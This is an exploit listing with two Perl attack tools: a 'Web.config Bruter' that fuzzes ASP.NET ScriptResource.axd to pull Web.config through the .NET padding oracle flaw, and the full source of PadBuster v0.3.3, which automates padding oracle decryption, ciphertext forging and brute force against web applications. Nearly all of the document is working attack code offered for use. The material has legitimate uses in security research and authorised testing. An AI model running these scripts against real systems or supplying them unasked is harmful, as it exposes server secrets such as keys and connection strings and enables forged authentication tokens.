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# Source: http://blog.mindedsecurity.com/2010/10/breaking-net-encryption-with-or-without.html
#!/usr/bin/perl
#
#
# Webconfig Bruter - exploit tool for downloading Web.config
#
# FOr use this script you need Pudbuster.
# Padbuster is a great tool and Brian Holyfield deserve all the credits.
# Note from Exploit-db: This very first exploit was meant to work with Padbusterdornet or Padbuster v0.2.
# A similar exploitation vector was also added lately in Padbuster v0.3:
# http://www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/
# http://www.exploit-db.com/sploits/padBuster.pl
#
#
# Giorgio Fedon - (giorgio.fedon@mindedsecurity.com)
#
use LWP::UserAgent;
use strict;
use Getopt::Std;
use MIME::Base64;
use URI::Escape;
use Getopt::Long;
#Definition of vars for .NET
my $toEncodeDecode;
my $b64Encoded;
my $string;
my $returnVal;
my $testUrl;
my $testBytes;
my $sampleBytes;
my $testUrl = @ARGV[0]."\?d\=";
my $sampleBytes = @ARGV[1];
my $blockSize = @ARGV[2];
if ($#ARGV < 2) {
die "
Use: Web.config_bruter.pl ScriptResourceUrl Encrypted_Sample BlockSize
Where: URL = The target URL (and query string if applicable)
EncryptedSample = The encrypted value you want to use.
This need to come from Padbuster.
BlockSize = The block size being used by the algorithm (8 or 16)
Poc code by giorgio.fedon\@mindedsecurity.com
Original Padbuster code from Brian Holyfield - Gotham Digital Science
Command Example:
./Web.config_bruter.pl https://127.0.0.1:8083/ScriptResource.axd d1ARvno0iSA6Ez7Z0GEAmAy3BpX8a2 16
";}
my $method = "GET";
$sampleBytes = encoder($sampleBytes, 1);
my $testBytes = "\x00" x $blockSize;
my $counter = 0;
# Use random bytes
my @nums = (0..255);
my $status = 1;
while ($status)
{
# Fuzz the test bytes
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--)
{
substr($testBytes, $byteNum, 1, chr($nums[rand(@nums)]));
}
# Combine the test bytes and the sample
my $combinedTestBytes = encoder($testBytes.$sampleBytes, 0);
chomp($combinedTestBytes);
$combinedTestBytes =~ s/\%0A//g;
# Ok, now make the request
my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl.$combinedTestBytes);
if ($status == "200")
{
# Remove this for "T" exploit
if (index($content,"parent\.Sys\.Application") == -1)
{
print $content."\n\n";
print "Total Requests:".$counter."\n\n";
print "Resulting Exploit Block:".$combinedTestBytes."\n\n";
last;
}
}
$counter++;
}
# The following code is taken from PadBuster. Credit: Brian Holyfield - Gotham Digital Science
#
# I also did the encoder / decoder, but your logic is definitely better
sub encoder
{
my ($toEncodeDecode, $oper) = @_;
# UrlDecoder Encoder
if ($oper == 1)
{
$toEncodeDecode =~ s/\-/\+/g;
$toEncodeDecode =~ s/\_/\//g;
my $count = chop($toEncodeDecode);
$toEncodeDecode = $toEncodeDecode.("=" x int($count));
$returnVal = decode_base64($toEncodeDecode);
}
else
{
$b64Encoded = encode_base64($toEncodeDecode);
$b64Encoded =~ s/(\r|\n)//g;
$b64Encoded =~ s/\+/\-/g;
$b64Encoded =~ s/\//\_/g;
my $count = $b64Encoded =~ s/\=//g;
($count eq "") ? ($count = 0) : "";
$returnVal = $b64Encoded.$count;
}
return $returnVal;
}
sub makeRequest {
my ($method, $url) = @_;
my ($lwp, $status, $content, $req, $location, $contentLength);
# Setup LWP UserAgent
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);
$req = new HTTP::Request $method => $url;
my $response = $lwp->request($req);
# Extract the required attributes from the response
$status = substr($response->status_line, 0, 3);
$content = $response->content;
#print $content;
$location = $response->header("Location");
if ($location eq "")
{
$location = "N/A";
}
$contentLength = $response->header("Content-Length");
return ($status, $content, $location, $contentLength);
}
############################################################################################################
## padBuster.pl
#!/usr/bin/perl
#
# PadBuster v0.3.3 - Automated script for performing Padding Oracle attacks
# Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com)
#
# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
# techniques and S.Vaudenay for initial discovery of the attack. Credits also
# to James M. Martin (research@esptl.com) for sharing proof of concept exploit
# code for performing various brute force attack techniques, and wireghoul (Eldar
# Marcussen) for making code quality improvements.
#
use LWP::UserAgent;
use strict;
use warnings;
use Getopt::Std;
use MIME::Base64;
use URI::Escape;
use Getopt::Long;
use Time::HiRes qw( gettimeofday );
use Compress::Zlib;
use Crypt::SSLeay;
# Set defaults with $variable = value
my $logFiles;
my $post;
my $encoding = 0;
my $headers;
my $cookie;
my $error;
my $prefix;
my $intermediaryInput;
my $cipherInput;
my $plainTextInput;
my $encodedPlainTextInput;
my $noEncodeOption;
my $superVerbose;
my $proxy;
my $proxyAuth;
my $noIv;
my $auth;
my $resumeBlock;
my $interactive = 0;
my $bruteForce;
my $ignoreContent;
my $useBody;
my $verbose;
GetOptions( "log" => \$logFiles,
"post=s" => \$post,
"encoding=s" => \$encoding,
"headers=s" => \$headers,
"cookies=s" => \$cookie,
"error=s" => \$error,
"prefix=s" => \$prefix,
"intermediate=s" => \$intermediaryInput,
"ciphertext=s" => \$cipherInput,
"plaintext=s" => \$plainTextInput,
"encodedtext=s" => \$encodedPlainTextInput,
"noencode" => \$noEncodeOption,
"veryverbose" => \$superVerbose,
"proxy=s" => \$proxy,
"proxyauth=s" => \$proxyAuth,
"noiv" => \$noIv,
"auth=s" => \$auth,
"resume=s" => \$resumeBlock,
"interactive" => \$interactive,
"bruteforce" => \$bruteForce,
"ignorecontent" => \$ignoreContent,
"usebody" => \$useBody,
"verbose" => \$verbose);
print "\n+-------------------------------------------+\n";
print "| PadBuster - v0.3.3 |\n";
print "| Brian Holyfield - Gotham Digital Science |\n";
print "| labs\@gdssecurity.com |\n";
print "+-------------------------------------------+\n";
if ($#ARGV < 2) {
die "
Use: padBuster.pl URL EncryptedSample BlockSize [options]
Where: URL = The target URL (and query string if applicable)
EncryptedSample = The encrypted value you want to test. Must
also be present in the URL, PostData or a Cookie
BlockSize = The block size being used by the algorithm
Options:
-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
-cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
-encoding [0-4]: Encoding Format of Sample (Default 0)
0=Base64, 1=Lower HEX, 2=Upper HEX
3=.NET UrlToken, 4=WebSafe Base64
-encodedtext [Encoded String]: Data to Encrypt (Encoded)
-error [Error String]: Padding Error Message
-headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
-interactive: Prompt for confirmation on decrypted bytes
-intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
-log: Generate log files (creates folder PadBuster.DDMMYY)
-noencode: Do not URL-encode the payload (encoded by default)
-noiv: Sample does not include IV (decrypt first block)
-plaintext [String]: Plain-Text to Encrypt
-post [Post Data]: HTTP Post Data String
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-proxy [address:port]: Use HTTP/S Proxy
-proxyauth [username:password]: Proxy Authentication
-resume [Block Number]: Resume at this block number
-usebody: Use response body content for response analysis phase
-verbose: Be Verbose
-veryverbose: Be Very Verbose (Debug Only)
";}
# Ok, if we've made it this far we are ready to begin..
my $url = $ARGV[0];
my $sample = $ARGV[1];
my $blockSize = $ARGV[2];
if ($url eq "" || $sample eq "" || $blockSize eq "") {
print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n";
exit();
}
# Hard Coded Inputs
#$post = "";
#$sample = "";
my $method = $post ? "POST" : "GET";
# These are file related variables
my $dirName = "PadBuster." . &getTime("F");
my $dirSlash = "/";
my $dirCmd = "mkdir ";
if (defined($ENV{'OS'})) {
if ($ENV{OS} =~ /Windows/) {
$dirSlash = "\\";
$dirCmd = "md ";
}
}
my $dirExists = 0;
my $printStats = 0;
my $requestTracker = 0;
my $timeTracker = 0;
if ($encoding < 0 || $encoding > 4) {
print "\nERROR: Encoding must be a value between 0 and 4\n";
exit();
}
my $encodingFormat = $encoding ? $encoding : 0;
my $encryptedBytes = $sample;
my $totalRequests = 0;
# See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem)
if ($sample =~ /\%/) {
$encryptedBytes = &uri_unescape($encryptedBytes)
}
# Prep the sample for regex use
$sample = quotemeta $sample;
# Now decode
$encryptedBytes = &myDecode($encryptedBytes, $encodingFormat);
if ( (length($encryptedBytes) % $blockSize) > 0) {
print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n";
print " Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n";
exit();
}
# If no IV, then append nulls as the IV (only if decrypting)
if ($noIv && !$bruteForce && !$plainTextInput) {
$encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
}
# PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)
my $plainTextBytes;
# This is a bool to make sure we know where to replace the sample string
my $wasSampleFound = 0;
# ForgedBytes is where the complete forged sample will be stored (encrypt only)
my $forgedBytes;
# Isolate the IV into a separate byte array
my $ivBytes = substr($encryptedBytes, 0, $blockSize);
# Declare some optional elements for storing the results of the first test iteration
# to help the user if they don't know what the padding error looks like
my @oracleCantidates;
my $oracleSignature = "";
my %oracleGuesses;
my %responseFileBuffer;
# The block count should be the sample divided by the blocksize
my $blockCount = int(length($encryptedBytes)) / int($blockSize);
if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
print "\nERROR: There is only one block. Try again using the -noiv option.\n";
exit();
}
# The attack works by sending in a real cipher text block along with a fake block in front of it
# You only ever need to send two blocks at a time (one real one fake) and just work through
# the sample one block at a time
# First, re-issue the original request to let the user know if something is potentially broken
my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);
&myPrint("\nINFO: The original request returned the following",0);
&myPrint("[+] Status: $status",0);
&myPrint("[+] Location: $location",0);
&myPrint("[+] Content Length: $contentLength\n",0);
&myPrint("[+] Response: $content\n",1);
$plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedPlainTextInput;
if ($bruteForce) {
&myPrint("INFO: Starting PadBuster Brute Force Mode",0);
my $bfAttempts = 0;
print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
# Only loop through the first 3 bytes...this should be enough as it
# requires 16.5M+ requests
my @bfSamples;
my $sampleString = "\x00" x 2;
for my $c (0 ... 255) {
substr($sampleString, 0, 1, chr($c));
for my $d (0 ... 255) {
substr($sampleString, 1, 1, chr($d));
push (@bfSamples, $sampleString);
}
}
foreach my $testVal (@bfSamples) {
my $complete = 0;
while ($complete == 0) {
my $repeat = 0;
for my $b (0 ... 255) {
$bfAttempts++;
if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
#SKIP
} else {
my $testBytes = chr($b).$testVal;
$testBytes .= "\x00" x ($blockSize-3);
my $combinedBf = $testBytes;
$combinedBf .= $encryptedBytes;
$combinedBf = &myEncode($combinedBf, $encoding);
# Add the Query String to the URL
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
# Issue the request
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
my $signatureData = "$status\t$contentLength\t$location";
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
if ($oracleSignature eq "") {
&myPrint("[+] Starting response analysis...\n",0) if ($b ==0);
$oracleGuesses{$signatureData}++;
$responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
if ($b == 255) {
&myPrint("*** Response Analysis Complete ***\n",0);
&determineSignature();
$printStats = 1;
$timeTracker = 0;
$requestTracker = 0;
$repeat = 1;
$bfAttempts = 0;
}
}
if ($oracleSignature ne "" && $oracleSignature ne $signatureData) {
&myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0);
&writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content");
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
}
} elsif ($plainTextInput) {
# ENCRYPT MODE
&myPrint("INFO: Starting PadBuster Encrypt Mode",0);
# The block count will be the plaintext divided by blocksize (rounded up)
my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
&myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
$plainTextInput.= chr($padCount) x $padCount;
# SampleBytes is the encrypted text you want to derive intermediate values for, so
# copy the current ciphertext block into sampleBytes
# Note, nulls are used if not provided and the intermediate values are brute forced
$forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
my $sampleBytes = $forgedBytes;
for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
# IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
my $intermediaryBytes;
if ($intermediaryInput && $blockNum == $blockCount) {
$intermediaryBytes = &myDecode($intermediaryInput,2);
} else {
$intermediaryBytes = &processBlock($sampleBytes);
}
# Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
# This will become the next ciphertext block (or IV if the last one)
$sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
$forgedBytes = $sampleBytes.$forgedBytes;
&myPrint("\nBlock ".($blockNum)." Results:",0);
&myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
}
$forgedBytes = &myEncode($forgedBytes, $encoding);
chomp($forgedBytes);
} else {
# DECRYPT MODE
&myPrint("INFO: Starting PadBuster Decrypt Mode",0);
if ($resumeBlock) {
&myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
} else {
$resumeBlock = 1
}
# Assume that the IV is included in our sample and that the first block is the IV
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
# Since the IV is the first block, our block count is artificially inflated by one
&myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
# SampleBytes is the encrypted text you want to break, so
# lets copy the current ciphertext block into sampleBytes
my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);
# IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored
my $intermediaryBytes = &processBlock($sampleBytes);
# DecryptedBytes is where the decrypted block is stored
my $decryptedBytes;
# Now we XOR the decrypted byte with the corresponding byte from the previous block
# (or IV if we are in the first block) to get the actual plain-text
$blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize);
&myPrint("\nBlock ".($blockNum-1)." Results:",0);
&myPrint("[+] Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1),0);
&myPrint("[+] Plain Text: $decryptedBytes\n",0);
$plainTextBytes = $plainTextBytes.$decryptedBytes;
}
}
&myPrint("-------------------------------------------------------",0);
&myPrint("** Finished ***\n", 0);
if ($plainTextInput) {
&myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
} else {
&myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
&myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
&myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
}
&myPrint("-------------------------------------------------------\n",0);
sub determineSignature {
# Help the user detect the oracle response if an error string was not provided
# This logic will automatically suggest the response pattern that occured most often
# during the test as this is the most likeley one
my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
&myPrint("The following response signatures were returned:\n",0);
&myPrint("-------------------------------------------------------",0);
if ($useBody) {
&myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0);
} else {
&myPrint("ID#\tFreq\tStatus\tLength\tLocation",0);
}
&myPrint("-------------------------------------------------------",0);
my $id = 1;
foreach (@sortedGuesses) {
my $line = $id;
($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : $line.="";
my @sigFields = split("\t", $_);
$line .= "\t$oracleGuesses{$_}\t$sigFields[0]\t$sigFields[1]";
$useBody ? ( $line .= "\t".unpack( '%32A*', $sigFields[3] ) ) : $line.="";
$line .= "\t$sigFields[2]";
&myPrint($line,0);
&writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
$id++;
}
&myPrint("-------------------------------------------------------",0);
if ($#sortedGuesses == 0 && !$bruteForce) {
&myPrint("\nERROR: All of the responses were identical.\n",0);
&myPrint("Double check the Block Size and try again.",0);
exit();
} else {
my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended");
&myPrint("\nContinuing test with selection $responseNum\n",0);
$oracleSignature = $sortedGuesses[$responseNum-1];
}
}
sub prepRequest {
my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;
# Prepare the request
my $testUrl = $pUrl;
my $wasSampleFound = 0;
if ($pUrl =~ /$pSample/) {
$testUrl =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
my $testPost = "";
if ($pPost) {
$testPost = $pPost;
if ($pPost =~ /$pSample/) {
$testPost =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}
my $testCookies = "";
if ($pCookie) {
$testCookies = $pCookie;
if ($pCookie =~ /$pSample/) {
$testCookies =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}
if ($wasSampleFound == 0) {
&myPrint("ERROR: Encrypted sample was not found in the test request",0);
exit();
}
return ($testUrl, $testPost, $testCookies);
}
sub processBlock {
my ($sampleBytes) = @_;
my $analysisMode;
# Analysis mode is either 0 (response analysis) or 1 (exploit)
$analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
# The return value of this subroutine is the intermediate text for the block
my $returnValue;
my $complete = 0;
my $autoRetry = 0;
my $hasHit = 0;
while ($complete == 0) {
# Reset the return value
$returnValue = "";
my $repeat = 0;
# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
my $testBytes = "\x00" x $blockSize;
my $falsePositiveDetector = 0;
# Work on one byte at a time, starting with the last byte and moving backwards
OUTERLOOP:
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
INNERLOOP:
for (my $i = 255; $i >= 0; $i--) {
# Fuzz the test byte
substr($testBytes, $byteNum, 1, chr($i));
# Combine the test bytes and the sample
my $combinedTestBytes = $testBytes.$sampleBytes;
if ($prefix) {
$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
}
$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
chomp($combinedTestBytes);
if (! $noEncodeOption) {
$combinedTestBytes = &uri_escape($combinedTestBytes);
}
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);
# Ok, now make the request
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
my $signatureData = "$status\t$contentLength\t$location";
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
# If this is the first block and there is no padding error message defined, then cycle through
# all possible requests and let the user decide what the padding error behavior is.
if ($analysisMode == 0) {
&myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
$oracleGuesses{$signatureData}++;
$responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
if ($byteNum == $blockSize - 1 && $i == 0) {
&myPrint("*** Response Analysis Complete ***\n",0);
&determineSignature();
$analysisMode = 1;
$repeat = 1;
last OUTERLOOP;
}
}
my $continue = "y";
if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) {
# This is for autoretry logic (only works on the first byte)
if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) {
$hasHit++;
} else {
# If there was no padding error, then it worked
&myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
&myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
# If continually getting a hit on attempt zero, then something is probably wrong
$falsePositiveDetector++ if ($i == 255);
if ($interactive == 1) {
$continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1);
}
if ($continue eq "y" || $continue eq "a") {
$interactive = 0 if ($continue eq "a");
# Next, calculate the decrypted byte by XORing it with the padding value
my ($currentPaddingByte, $nextPaddingByte);
# These variables could allow for flexible padding schemes (for now PCKS)
# For PCKS#7, the padding block is equal to chr($blockSize - $byteNum)
$currentPaddingByte = chr($blockSize - $byteNum);
$nextPaddingByte = chr($blockSize - $byteNum + 1);
my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;
&myPrint("[+] XORing with Padding Char, which is ".&uri_escape($currentPaddingByte),1);
$returnValue = $decryptedByte.$returnValue;
&myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);
# Finally, update the test bytes in preparation for the next round, based on the padding used
for (my $k = $byteNum; $k < $blockSize; $k++) {
# First, XOR the current test byte with the padding value for this round to recover the decrypted byte
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
# Then, XOR it again with the padding byte for the next round
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
}
last INNERLOOP;
}
}
}
## TODO: Combine these two blocks?
if ($i == 0 && $analysisMode == 1) {
# End of the road with no success. We should probably try again.
&myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0);
if ($autoRetry == 0) {
$autoRetry = 1;
&myPrint(" Automatically trying one more time...",0);
$repeat = 1;
last OUTERLOOP;
} else {
if (($byteNum == $blockSize - 1) && ($error)) {
&myPrint("\nAre you sure you specified the correct error string?",0);
&myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
}
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue ne "n") {
&myPrint("INFO: Switching to interactive mode",0);
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
if ($falsePositiveDetector == $blockSize) {
&myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
&myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
if ($error) {
&myPrint("[+] Check the error string you provided and try again, or consider running",0);
&myPrint("[+] without an error string to perform an automated response analysis.\n",0);
} else {
&myPrint("[+] You may want to consider defining a custom padding error string",0);
&myPrint("[+] instead of the automated response analysis.\n",0);
}
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue eq "y") {
&myPrint("INFO: Switching to interactive mode",0);
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
return $returnValue;
}
sub makeRequest {
my ($method, $url, $data, $cookie) = @_;
my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
my $numRetries = 0;
$data ='' unless $data;
$cookie='' unless $cookie;
$requestTracker++;
do {
#Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
$ENV{HTTPS_PROXY} = "";
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);
$req = new HTTP::Request $method => $url;
&myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
# Add request content for POST and PUTS
if ($data) {
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
}
if ($proxy) {
my $proxyUrl = "http://";
if ($proxyAuth) {
my ($proxyUser, $proxyPass) = split(":",$proxyAuth);
$ENV{HTTPS_PROXY_USERNAME} = $proxyUser;
$ENV{HTTPS_PROXY_PASSWORD} = $proxyPass;
$proxyUrl .= $proxyAuth."@";
}
$proxyUrl .= $proxy;
$lwp->proxy(['http'], "http://".$proxy);
$ENV{HTTPS_PROXY} = "http://".$proxy;
}
if ($auth) {
my ($httpuser, $httppass) = split(/:/,$auth);
$req->authorization_basic($httpuser, $httppass);
}
# If cookies are defined, add a COOKIE header
if (! $cookie eq "") {
$req->header(Cookie => $cookie);
}
if ($headers) {
my @customHeaders = split(/;/i,$headers);
for (my $i = 0; $i <= $#customHeaders; $i++) {
my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]);
$req->header($headerName, $headerVal);
}
}
my $startTime = &gettimeofday();
my $response = $lwp->request($req);
my $endTime = &gettimeofday();
$timeTracker = $timeTracker + ($endTime - $startTime);
if ($printStats == 1 && $requestTracker % 250 == 0) {
print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
$timeTracker = 0;
}
# Extract the required attributes from the response
$status = substr($response->status_line, 0, 3);
$content = $response->content;
&myPrint("Response Content:\n$content",0) if $superVerbose;
$location = $response->header("Location");
if (!$location) {
$location = "N/A";
}
#$contentLength = $response->header("Content-Length");
$contentLength = length($content);
my $contentEncoding = $response->header("Content-Encoding");
if ($contentEncoding) {
if ($contentEncoding =~ /GZIP/i ) {
$content = Compress::Zlib::memGunzip($content);
$contentLength = length($content);
}
}
my $statusMsg = $response->status_line;
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
if ($statusMsg =~ /Can't connect/) {
print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
$noConnect = 1;
$numRetries++;
sleep 10;
} else {
$noConnect = 0;
$totalRequests++;
}
} until (($noConnect == 0) || ($numRetries >= 15));
if ($numRetries >= 15) {
&myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
exit;
}
return ($status, $content, $location, $contentLength);
}
sub myPrint {
my ($printData, $printLevel) = @_;
$printData .= "\n";
if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) {
print $printData;
&writeFile("ActivityLog.txt",$printData);
}
}
sub myEncode {
my ($toEncode, $format) = @_;
return &encodeDecode($toEncode, 0, $format);
}
sub myDecode {
my ($toDecode, $format) = @_;
return &encodeDecode($toDecode, 1, $format);
}
sub encodeDecode {
my ($toEncodeDecode, $oper, $format) = @_;
# Oper: 0=Encode, 1=Decode
# Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken
my $returnVal = "";
if ($format == 1 || $format == 2) {
# HEX
if ($oper == 1) {
#Decode
#Always convert to lower when decoding)
$toEncodeDecode = lc($toEncodeDecode);
$returnVal = pack("H*",$toEncodeDecode);
} else {
#Encode
$returnVal = unpack("H*",$toEncodeDecode);
if ($format == 2) {
#Uppercase
$returnVal = uc($returnVal)
}
}
} elsif ($format == 3) {
# NetUrlToken
if ($oper == 1) {
$returnVal = &web64Decode($toEncodeDecode,1);
} else {
$returnVal = &web64Encode($toEncodeDecode,1);
}
} elsif ($format == 4) {
# Web64
if ($oper == 1) {
$returnVal = &web64Decode($toEncodeDecode,0);
} else {
$returnVal = &web64Encode($toEncodeDecode,0);
}
} else {
# B64
if ($oper == 1) {
$returnVal = &decode_base64($toEncodeDecode);
} else {
$returnVal = &encode_base64($toEncodeDecode);
$returnVal =~ s/(\r|\n)//g;
}
}
return $returnVal;
}
sub web64Encode {
my ($input, $net) = @_;
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
$input = &encode_base64($input);
$input =~ s/(\r|\n)//g;
$input =~ s/\+/\-/g;
$input =~ s/\//\_/g;
my $count = $input =~ s/\=//g;
$count = 0 if ($count eq "");
$input.=$count if ($net == 1);
return $input;
}
sub web64Decode {
my ($input, $net) = @_;
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
$input =~ s/\-/\+/g;
$input =~ s/\_/\//g;
if ($net == 1) {
my $count = chop($input);
$input = $input.("=" x int($count));
}
return &decode_base64($input);
}
sub promptUser {
my($prompt, $default, $yn) = @_;
my $defaultValue = $default ? "[$default]" : "";
print "$prompt $defaultValue: ";
chomp(my $input = <STDIN>);
$input = $input ? $input : $default;
if ($yn) {
if ($input =~ /^y|n|a$/) {
return $input;
} else {
&promptUser($prompt, $default, $yn);
}
} else {
if ($input =~ /^-?\d/ && $input > 0 && $input < 256) {
return $input;
} else {
&promptUser($prompt, $default);
}
}
}
sub writeFile {
my ($fileName, $fileContent) = @_;
if ($logFiles) {
if ($dirExists != 1) {
system($dirCmd." ".$dirName);
$dirExists = 1;
}
$fileName = $dirName.$dirSlash.$fileName;
open(my $OUTFILE, '>>', $fileName) or die "ERROR: Can't write to file $fileName\n";
print $OUTFILE $fileContent;
close($OUTFILE);
}
}
sub getTime {
my ($format) = @_;
my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT");
$month=sprintf("%02d",$month);
$day=sprintf("%02d",$day);
$hour=sprintf("%02d",$hour);
$minute=sprintf("%02d",$minute);
$second=sprintf("%02d", $second);
$year =~ s/^.//;
if ($format eq "F") {
return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) );
} elsif ($format eq "S") {
return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second;
} else {
return $hour.":".$minute.":".$second;
}
}
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